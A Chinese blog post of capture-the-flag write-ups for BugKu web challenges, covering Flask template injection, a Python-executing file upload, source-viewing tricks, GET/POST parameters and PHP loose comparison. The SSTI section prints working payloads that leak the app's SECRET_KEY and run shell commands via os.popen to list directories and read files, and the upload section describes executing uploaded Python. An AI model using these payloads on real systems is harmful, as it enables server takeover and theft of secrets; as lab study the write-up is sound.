0
点赞
收藏
分享

微信扫一扫

BugKu-Web

IT程序员 2022-04-07 阅读 108
系统安全

Simple_SSTI_1

在这里插入图片描述

SSTI的意思是模板注入 服务端模板注入
flask注入的三种模板
{%%}
{{}}
{# … #}
打开网页查看源代码,提示说要传入一个名为flag的参数,下面的意思是,你只,在flask,经常会设置secret_key,查了一下,这个注入的模板就是{{}}最里面的括号里面些什么就会显示什么,像传入一个flag参数,?flag={{3*3}}就会显示9,那都提示了说在secret_key里面直接把这个东西放里面看看怎么事儿呗?flag={{secret_key}},这个不行,去看看怎么能把这个显示出来,config是Flask模版中一个全局对象,包含了所有应用程序的配置值,用 config.xxx 查看,那就修改flag参数为 ?flag={{config.SECRET_KEY}}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Simple_SSTI_2

在这里插入图片描述

在了解了SSTI注入之后,先直接传入一个flag参数,?flag{{config}}查看一下回显

在这里插入图片描述

换一个高明一点儿的招
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ..').read() }}
读取文件目录
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app/').read() }}
每个目录都进去瞧一瞧,看到有一个名为flag的文件,cat进去看
/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat  /app/flag').read() }}
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量
os.popen() 方法用于从一个命令打开一个管道
open() 方法用于打开一个文件,并返回文件对象

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flask_fileupload

在这里插入图片描述
在这里插入图片描述

文件上传只支持jpg和png,而且提示会用python执行并返回,所以上传一个后缀名为jpg内容为python的文件,使用os库,执行命令查看flag,一般flag都在根目录下,如果不在就换其他命令像ll这类去找

在这里插入图片描述
在这里插入图片描述

查看网页源代码,就能发现flag了

在这里插入图片描述
在这里插入图片描述

滑稽

在这里插入图片描述

在这里插入图片描述

是挺滑稽的,我也没想到这玩意查看源代码就直接出来了

在这里插入图片描述

计算器

在这里插入图片描述

这玩意只能输入个位数字,还是查看网页源代码,碰碰运气

在这里插入图片描述

没啥有用的,但是这个maxlength能不能修改啊,检查修改一下试试

在这里插入图片描述

本来是想试试修改,没想到看看源代码,直接发现了flag

在这里插入图片描述

GET

在这里插入图片描述
在这里插入图片描述

get获得参数what,what的值等于flag就输出,试试看行得通不

在这里插入图片描述

成了,但是为啥跳了两个,但是这俩应该是一样的吧

在这里插入图片描述

post

在这里插入图片描述

post的话 试试python能不能行

在这里插入图片描述

python代码写的过程中发现了这个东西,感觉很像,直接提交不对,解码也不对,可能跟这个没关系吧

在这里插入图片描述

从来没觉得python这么好用,其实还有简单的方法,使用火狐的hackbar也能实现post,bp都行

在这里插入图片描述

矛盾

在这里插入图片描述

根据提示应该是输入1就会弹出flag,输入其他就会原封不动输出传入的值,但是传入1也不对,应该是这个判断出错了,应该是全等不是相等,这个好像是叫什么php黑魔法吧,看看能不能对源码进行修改,或者通过检查源码得到flag,都知道了是php黑魔法,直接传入一个数字加字符的组合进行判读就行了,相等判断是弱类型,全等才是强类型,直接传入/?num=1a,a可以是任意字符

在这里插入图片描述
在这里插入图片描述

alert

在这里插入图片描述

这个网页打开就是一直弹窗,检查没发现太多有价值的东西,想右键查看源代码吧,还不让,只能使用快捷键ctrl+u能直接查看源代码

在这里插入图片描述

这最后一行看着也太显眼了,就是ASCII码被html实体化了,直接解码就行了,但是为什么是ASCII和unicode互相解码,我记得unicode好像不是这个特征

在这里插入图片描述
在这里插入图片描述

你必须让他停下

在这里插入图片描述

页面一直都在刷新,只有这张图片是正常显示的,所以当这个图片刷到了的时候,检查源代码,能直接看到flag就在后面

在这里插入图片描述

举报

相关推荐

bugku-web-矛盾

[Bugku-web-文件包含]自己的wp

【bugku】-newphp

BUGKU 变量1

【bugku】Flask_FileUpload

0 条评论